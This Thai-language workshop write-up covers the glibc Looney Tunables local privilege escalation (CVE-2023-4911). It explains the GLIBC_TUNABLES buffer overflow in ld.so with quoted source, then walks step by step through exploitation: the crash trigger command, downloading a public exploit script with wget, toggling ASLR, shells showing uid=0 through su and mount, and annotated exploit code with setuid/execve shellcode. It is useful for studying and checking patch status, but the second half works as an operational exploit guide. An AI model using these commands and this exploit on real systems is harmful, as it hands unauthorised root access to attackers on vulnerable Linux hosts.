เวิร์กช็อปการยกระดับสิทธิ์ท้องถิ่นของ Looney Tunables (CVE-2023-4911) (เพื่อการศึกษาเท่านั้น)
ในการคำนวณ ตัวเชื่อมโยงแบบไดนามิกเป็นส่วนหนึ่งของระบบปฏิบัติการที่ โหลดและเชื่อมโยง ไลบรารีแบบแบ่งใช้ที่จำเป็นสำหรับโปรแกรมปฏิบัติการเมื่อถูกดำเนินการ โดยการคัดลอกเนื้อหาของไลบรารีจากที่เก็บข้อมูลถาวรไปยัง RAM เติมตารางข้ามและย้ายพอยน์เตอร์
ตัวอย่างเช่น เรามีโปรแกรมที่ใช้ไลบรารี openssl เพื่อคำนวณแฮช md5:
$ head md5_hash.c
#include <stdio.h>
#include <string.h>
#include <openssl/md5.h>
ld.so แยกวิเคราะห์ไบนารีและพยายามค้นหาไลบรารีที่เกี่ยวข้องกับ <openssl/md5.h>
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
ดังที่เราเห็น มันพบไลบรารี crypto ที่จำเป็นที่ /lib/x86_64-linux-gnu/libcrypto.so.3 ในระหว่างการเริ่มต้นโปรแกรม มันจะใส่โค้ดของไลบรารีนี้ลงใน RAM กระบวนการ และเชื่อมโยงการอ้างอิงทั้งหมดไปยังไลบรารีนี้
เมื่อโปรแกรมเริ่มทำงาน ตัวโหลดนี้จะตรวจสอบโปรแกรมก่อนเพื่อกำหนดไลบรารีแบบแบ่งใช้ที่ต้องการ จากนั้นจะค้นหาไลบรารีเหล่านี้ โหลดลงในหน่วยความจำ และเชื่อมโยงกับไฟล์ปฏิบัติการในขณะรันไทม์ ในกระบวนการนี้ ตัวโหลดแบบไดนามิกจะแก้ไขการอ้างอิงสัญลักษณ์ เช่น ฟังก์ชันและการอ้างอิงตัวแปร เพื่อให้มั่นใจว่าทุกอย่างได้รับการตั้งค่าสำหรับการทำงานของโปรแกรม เมื่อพิจารณาถึงบทบาทของตัวโหลดแบบไดนามิกแล้ว จะต้องคำนึงถึงความปลอดภัยเป็นอย่างสูง เนื่องจากโค้ดของตัวโหลดจะทำงานด้วยสิทธิ์ระดับสูงเมื่อผู้ใช้เฉพาะที่เรียกใช้โปรแกรม set-user-ID หรือ set-group-ID
การปรับแต่งเป็นคุณสมบัติในไลบรารี GNU C ที่ช่วยให้ผู้เขียนแอปพลิเคชันและผู้ดูแลการแจกจ่ายปรับเปลี่ยนพฤติกรรมไลบรารีรันไทม์เพื่อให้ตรงกับปริมาณงานของพวกเขา สิ่งเหล่านี้ถูกนำมาใช้เป็นชุดสวิตช์ที่อาจแก้ไขได้หลายวิธี วิธีการเริ่มต้นปัจจุบันในการดำเนินการนี้คือผ่านตัวแปรสภาพแวดล้อม GLIBC_TUNABLES โดยการตั้งค่าเป็นสตริงของคู่ชื่อ=ค่าที่คั่นด้วยโคลอน ตัวอย่างเช่น ตัวอย่างต่อไปนี้เปิดใช้งานการตรวจสอบ malloc และตั้งค่าขีดจำกัดการตัด malloc เป็น 128 ไบต์:
GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3
export GLIBC_TUNABLES
การส่งผ่าน --list-tunables ไปยังตัวโหลดไดนามิกเพื่อพิมพ์การปรับแต่งทั้งหมดด้วยค่าต่ำสุดและสูงสุด:
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
ที่จุดเริ่มต้นของการดำเนินการ ld.so เรียก __tunables_init() เพื่อเดินผ่านสภาพแวดล้อม (ที่บรรทัด 279) ค้นหาตัวแปร GLIBC_TUNABLES (ที่บรรทัด 282) สำหรับ GLIBC_TUNABLES แต่ละตัวที่พบ มันจะสร้างสำเนาของตัวแปรนี้ (ที่บรรทัด 284) เรียก parse_tunables() เพื่อประมวลผลและฆ่าเชื้อสำเนานี้ (ที่บรรทัด 286) และในที่สุดก็แทนที่ GLIBC_TUNABLES ดั้งเดิมด้วยสำเนาที่ถูกสุขอนามัยนี้ (ที่บรรทัด 288 ):
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
269 void
270 __tunables_init ( char * * envp )
271 {
272 char * envname = NULL ;
273 char * envval = NULL ;
274 size_t len = 0 ;
275 char * * prev_envp = envp ;
...
279 while (( envp = get_next_env ( envp , & envname , & len , & envval ,
280 & prev_envp )) != NULL )
281 {
282 if ( tunable_is_name ( "GLIBC_TUNABLES" , envname )) // searching for GLIBC_TUNABLES variables
283 {
284 char * new_env = tunables_strdup ( envname );
285 if ( new_env != NULL )
286 parse_tunables ( new_env + len + 1 , envval ); //
287 /* Put in the updated envval. */
288 * prev_envp = new_env ;
289 continue ;
290 } อาร์กิวเมนต์แรกของ parse_tunables() (tunestr) ชี้ไปที่สำเนา GLIBC_TUNABLES ที่กำลังจะถูกฆ่าเชื้อในเร็วๆ นี้ ในขณะที่อาร์กิวเมนต์ที่สอง (valstring) ชี้ไปที่ตัวแปรสภาพแวดล้อม GLIBC_TUNABLES ดั้งเดิม (ในสแต็ก) หากต้องการฆ่าเชื้อสำเนาของ GLIBC_TUNABLES (ซึ่งควรอยู่ในรูปแบบ "tunable1= aaa:tunable2=bbb" ) parse_tunables() จะลบค่าปรับที่เป็นอันตรายทั้งหมด (ค่าปรับ SXID_ERASE) ออกจาก tunestr แต่เก็บค่าปรับ SXID_IGNORE และ NONE ไว้ (ที่บรรทัด 221- 235):
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables ( char * tunestr , char * valstring )
164 {
...
168 char * p = tunestr ;
169 size_t off = 0 ;
170
171 while (true)
172 {
173 char * name = p ;
174 size_t len = 0 ;
175
176 /* First, find where the name ends. */
177 while ( p [ len ] != '=' && p [ len ] != ':' && p [ len ] != ' ' )
178 len ++ ;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if ( p [ len ] == ' ' )
183 {
184 if ( __libc_enable_secure )
185 tunestr [ off ] = ' ' ;
186 return ;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if ( p [ len ] == ':' )
192 {
193 p += len + 1 ;
194 continue ;
195 }
196
197 p += len + 1 ;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char * value = & valstring [ p - tunestr ];
201 len = 0 ;
202
203 while ( p [ len ] != ':' && p [ len ] != ' ' )
204 len ++ ;
205
206 /* Add the tunable if it exists. */
207 for ( size_t i = 0 ; i < sizeof ( tunable_list ) / sizeof ( tunable_t ); i ++ )
208 {
209 tunable_t * cur = & tunable_list [ i ];
210
211 if ( tunable_is_name ( cur -> name , name ))
212 {
...
219 if ( __libc_enable_secure )
220 {
221 if ( cur -> security_level != TUNABLE_SECLEVEL_SXID_ERASE )
222 {
223 if ( off > 0 )
224 tunestr [ off ++ ] = ':' ;
225
226 const char * n = cur -> name ;
227
228 while ( * n != ' ' )
229 tunestr [ off ++ ] = * n ++ ;
230
231 tunestr [ off ++ ] = '=' ;
232
233 for ( size_t j = 0 ; j < len ; j ++ )
234 tunestr [ off ++ ] = value [ j ];
235 }
236
237 if ( cur -> security_level != TUNABLE_SECLEVEL_NONE )
238 break ;
239 }
240
241 value [ len ] = ' ' ;
242 tunable_initialize ( cur , value );
243 break ;
244 }
245 }
246
247 if ( p [ len ] != ' ' )
248 p += len + 1 ;
249 }
250 }น่าเสียดาย หากตัวแปรสภาพแวดล้อม GLIBC_TUNABLES อยู่ในรูปแบบ "tunable1=tunable2=AAA" (โดยที่ "tunable1" และ "tunable2" เป็น SXID_IGNORE ที่ปรับได้ เช่น "glibc.malloc.mxfast") ดังนั้น:
ในระหว่างการวนซ้ำครั้งแรกของ " While (true)" ใน parse_tunables() "tunable1=tunable2=AAA" ทั้งหมดจะถูกคัดลอกแบบแทนที่ไปยัง tunestr (ที่บรรทัด 221-235) ดังนั้นการเติม tunestr;
ที่บรรทัด 247-248 p จะไม่เพิ่มขึ้น (p[len] คือ ' ' เพราะไม่พบ ':' ที่บรรทัด 203-204) และดังนั้น p ยังคงชี้ไปที่ค่าของ "tunable1" เช่น "tunable2= เอเอ";
ในระหว่างการวนซ้ำครั้งที่สองของ " While (true)" ใน parse_tunables() "tunable2=AAA" จะถูกต่อท้าย (ราวกับว่ามันเป็นการปรับแต่งครั้งที่สอง) กับ tunestr (ซึ่งเต็มแล้ว) ดังนั้น tunestr ล้น
สั่งการ:
$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
Segmentation fault (core dumped)เพย์โหลด:
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
ความยาว -> 8236 ไบต์
ช่องโหว่นี้เป็นบัฟเฟอร์ล้นที่ตรงไปตรงมา แต่เราควรเขียนทับสิ่งใดเพื่อให้เกิดการเรียกใช้โค้ดโดยอำเภอใจ บัฟเฟอร์ที่เราโอเวอร์โฟลว์ได้รับการจัดสรรที่บรรทัด 284 โดย tunables_strdup() ซึ่งเป็นการนำ strdup() ไปใช้ใหม่ซึ่งใช้ __minimal_malloc() ของ ld.so แทน malloc() ของ glibc (อันที่จริง malloc() ของ glibc ยังไม่ได้เริ่มต้นเลย ). การใช้งาน __minimal_malloc() นี้เพียงเรียก mmap() เพื่อรับหน่วยความจำเพิ่มเติมจากเคอร์เนล
ลองมาดูรหัสนี้:
56 struct link_map *
57 _dl_new_object ( char * realname , const char * libname , int type ,
58 struct link_map * loader , int mode , Lmid_t nsid )
59 {
..
84 struct link_map * new ;
85 struct libname_list * newname ;
..
92 new = ( struct link_map * ) calloc ( sizeof ( * new ) + audit_space
93 + sizeof ( struct link_map * )
94 + sizeof ( * newname ) + libname_len , 1 );
95 if ( new == NULL )
96 return NULL ;
97
98 new -> l_real = new ;
99 new -> l_symbolic_searchlist . r_list = ( struct link_map * * ) (( char * ) ( new + 1 )
100 + audit_space );
101
102 new -> l_libname = newname
103 = ( struct libname_list * ) ( new -> l_symbolic_searchlist . r_list + 1 );
104 newname -> name = ( char * ) memcpy ( newname + 1 , libname , libname_len );
105 /* newname->next = NULL; We use calloc therefore not necessary. */ ld.so จัดสรรหน่วยความจำสำหรับโครงสร้าง link_map นี้ด้วย calloc() และดังนั้นจึงไม่ได้เตรียมใช้งานสมาชิกต่างๆ ให้เป็นศูนย์อย่างชัดเจน นี่เป็นการเพิ่มประสิทธิภาพที่สมเหตุสมผล ดังที่ได้กล่าวไว้ก่อนหน้านี้ calloc() ในที่นี้ไม่ใช่ calloc() ของ glibc แต่เป็น __minimal_calloc() ของ ld.so ซึ่งเรียก __minimal_malloc() โดยไม่ ต้องเตรียมใช้งานหน่วยความจำอย่างชัดเจน ซึ่งจะกลับเป็นศูนย์ นี่เป็นการปรับให้เหมาะสมที่สมเหตุสมผลเช่นกัน เพราะสำหรับเจตนาและวัตถุประสงค์ทั้งหมด __minimal_malloc() จะส่งคืนหน่วยความจำ mmap()ed ที่สะอาดเสมอ ซึ่งรับประกันว่าจะเริ่มต้นเป็นศูนย์โดยเคอร์เนล
น่าเสียดายที่บัฟเฟอร์ล้นใน parse_tunables() ช่วยให้เราสามารถเขียนทับหน่วยความจำ mmap()ed ที่สะอาดด้วยไบต์ที่ไม่ใช่ศูนย์ ดังนั้นจึงเขียนทับพอยน์เตอร์ของโครงสร้าง link_map ที่ได้รับการจัดสรรเร็วๆ นี้ด้วยค่าที่ไม่ใช่ NULL สิ่งนี้ช่วยให้เราสามารถทำลายตรรกะของ ld.so ได้อย่างสมบูรณ์ ซึ่งถือว่าพอยน์เตอร์เหล่านี้เป็นโมฆะ
เราพบว่าพอยน์เตอร์อื่นๆ อีกมากมายในโครงสร้าง link_map ไม่ได้ถูกกำหนดค่าเริ่มต้นให้เป็น NULL อย่างชัดเจน โดยเฉพาะตัวชี้ไปยังโครงสร้าง Elf64_Dyn ในอาร์เรย์ l_info[] ของตัวชี้ ในบรรดาสิ่งเหล่านี้
l_info[DT_RPATH]"เส้นทางการค้นหาไลบรารี" มีความโดดเด่นในทันที: ถ้าเราเขียนทับตัวชี้นี้และควบคุมตำแหน่งและสิ่งที่ชี้ไป เราก็สามารถบังคับให้ ld.so เชื่อถือไดเร็กทอรีที่เราเป็นเจ้าของได้ ดังนั้น เพื่อโหลดไลบรารี libc.so.6 หรือ LD_PRELOAD ของเราเองจากไดเร็กทอรีนี้ และรันโค้ดที่กำหนดเอง (ในฐานะรูท ถ้าเรารัน ld.so ผ่านโปรแกรม SUID-root)
l_info[DT_RPATH]ที่ถูกเขียนทับควรชี้ไปที่ใด คำตอบง่ายๆ สำหรับคำถามนี้คือ: สแต็ก; แม่นยำยิ่งขึ้นคือสตริงสภาพแวดล้อมของเราอยู่ในสแต็ก บน Linux สแตกจะถูกสุ่มในภูมิภาค 16GB และสตริงสภาพแวดล้อมของเราสามารถครอบครองได้ถึง 6MB (_STK_LIM / 4 * 3 ใน bprm_stack_limits() ของเคอร์เนล): หลังจากพยายาม 16GB / 6MB = 2730 เรามีโอกาสที่ดีที่จะคาดเดา ที่อยู่ของสตริงสภาพแวดล้อมของเรา (ในการใช้ประโยชน์ของเรา เราจะเขียนทับl_info[DT_RPATH]ด้วยเสมอ 0x7ffdfffff010 ซึ่งเป็นศูนย์กลางของขอบเขตสแต็กแบบสุ่ม) ในการทดสอบของเรา การใช้กำลังดุร้ายนี้ใช้เวลาประมาณ 30 วินาทีบน Debian และ ~ 5 นาทีบน Ubuntu และ Fedora (เนื่องจากตัวจัดการความผิดพลาดอัตโนมัติ Apport และ ABRT เราไม่ได้พยายามแก้ไขการชะลอตัวนี้)
l_info[DT_RPATH] ที่ถูกเขียนทับควรชี้ไปที่อะไร ในการใช้ประโยชน์ของเรา เราเพียงแค่เติมสตริงสภาพแวดล้อม 6MB ของเราด้วย 0xffffffffffffff8 (-8) เนื่องจากที่ออฟเซ็ตที่ -8B ใต้ตารางสตริงของโปรแกรมรูท SUID ส่วนใหญ่ สตริง "x08" จะปรากฏขึ้น: สิ่งนี้บังคับให้ ld.so เพื่อเชื่อถือไดเร็กทอรีสัมพันธ์ที่ชื่อ "x08" (ในไดเร็กทอรีการทำงานปัจจุบันของเรา) ดังนั้นจึงอนุญาตให้เราโหลดและดำเนินการไลบรารี libc.so.6 หรือ LD_PRELOAD ของเราเองจากสิ่งนี้ ไดเร็กทอรีในฐานะรูท
โครงการ:
ฉันใช้สแน็ปช็อต kali linux ตัวเก่าเพื่อทดสอบ PoC ให้ตรวจสอบว่ามีช่องโหว่หรือไม่:
[~/cve]$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
[1] 7995 segmentation fault env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " /usr/bin/sเราได้รับ SIGSEGV ดังนั้นระบบของเราจึงเสี่ยงต่อ CVE LPE นี้!
มาดาวน์โหลดสคริปต์ PoC และทดสอบกัน:
[~/cve]$ wget -q https://haxx.in/files/gnu-acme.py
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3
ดังนั้น ld.so build id ของเราไม่อยู่ในรายการเป้าหมาย มาแก้ไขกัน! ปิดการใช้งาน ASLR:
[~/cve]$ sudo bash -c " echo 0 > /proc/sys/kernel/randomize_va_space "ตรวจสอบอีกครั้ง:
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] ASLR is not enabled, attempting to find usable offsets
[i] using stack addr 0x7fffffffe10c
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568
ดังนั้น สคริปต์ POC ของเราพบออฟเซ็ตที่มีประโยชน์ มาเพิ่ม ld.so ของเรา build id และ offset ให้กับสคริปต์: Return ASLR:
[~/cve]$ sudo bash -c " echo 1 > /proc/sys/kernel/randomize_va_space "ลองใช้สคริปต์ PoC อีกครั้ง:
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe1010100c
.........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
whoami
root
# id
uid=0(root)
มันได้ผล!
นอกจากนี้ยังใช้งานได้กับไฟล์ SUID อื่นด้วย:
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2> /dev/null
< SNIP >
/usr/bin/mount
< SNIP > [~/cve]$ python3 gnu-acme.py /usr/bin/mount --help
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/mount, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe10101009
....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
id
uid=0(root)
ที่จุดเริ่มต้นของสคริปต์ PoC เรามีพจนานุกรม ARCH พร้อม สถาปัตยกรรมโปรเซสเซอร์ บางตัว (ฉันเหลือเพียง x86_64 ขณะที่ฉันใช้) ในพจนานุกรมนี้เรามี
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py
import binascii
# <SNIP>
from shutil import which
unhex = lambda v : binascii . unhexlify ( v . replace ( " " , "" ))
ARCH = {
"x86_64" : {
"shellcode" : unhex (
"31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
), # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
"exitcode" : unhex ( "6a665f6a3c580f05" ), # asm(shellcraft.exit(0x66)).hex()
"stack_top" : 0x800000000000 ,
"stack_aslr_bits" : 30 , # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
}
}การแยกชิ้นส่วน Shellcode
0 : 31 ff xor edi , edi
2 : 6a 69 push 0x69
4 : 58 pop rax
5 : 0f 05 syscall
7 : 31 ff xor edi , edi
9 : 6a 6a push 0x6a
b: 58 pop rax
c: 0f 05 syscall
e: 6a 68 push 0x68
10 : 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax , 0x732f2f2f6e69622f
1a: 50 push rax
1b : 48 89 e7 mov rdi , rsp
1e: 68 72 69 01 01 push 0x1016972
23 : 81 34 24 01 01 01 01 xor DWORD PTR [ rsp ], 0x1010101
2a: 31 f6 xor esi , esi
2c: 56 push rsi
2d: 6a 08 push 0x8
2f: 5e pop rsi
30 : 48 01 e6 add rsi , rsp
33 : 56 push rsi
34 : 48 89 e6 mov rsi , rsp
37 : 31 d2 xor edx , edx
39 : 6a 3b push 0x3b
3b: 58 pop rax
3c: 0f 05 syscallถอดแยกชิ้นส่วนรหัสทางออก
0 : 6a 66 push 0x66
2 : 5f pop rdi
3 : 6a 3c push 0x3c
5 : 58 pop rax
6 : 0f 05 syscallต่อไปเรามีพจนานุกรมที่มีเป้าหมาย (ld.so build id) และออฟเซ็ตบัฟเฟอร์ล้น
TARGETS = {
"e664396d7c25533074698a0695127259dbbf56f3" : 568
}มีฟังก์ชันมากมายที่ได้รับการตั้งชื่อตามสิ่งที่พวกเขาทำ และส่วนใหญ่สามารถถูกแทนที่ด้วยเมธอดจากไลบรารี pwntools ดังนั้นฉันจึงไม่เห็นประเด็นที่จะพูดคุยอย่างละเอียดยกเว้นบางส่วนเท่านั้น
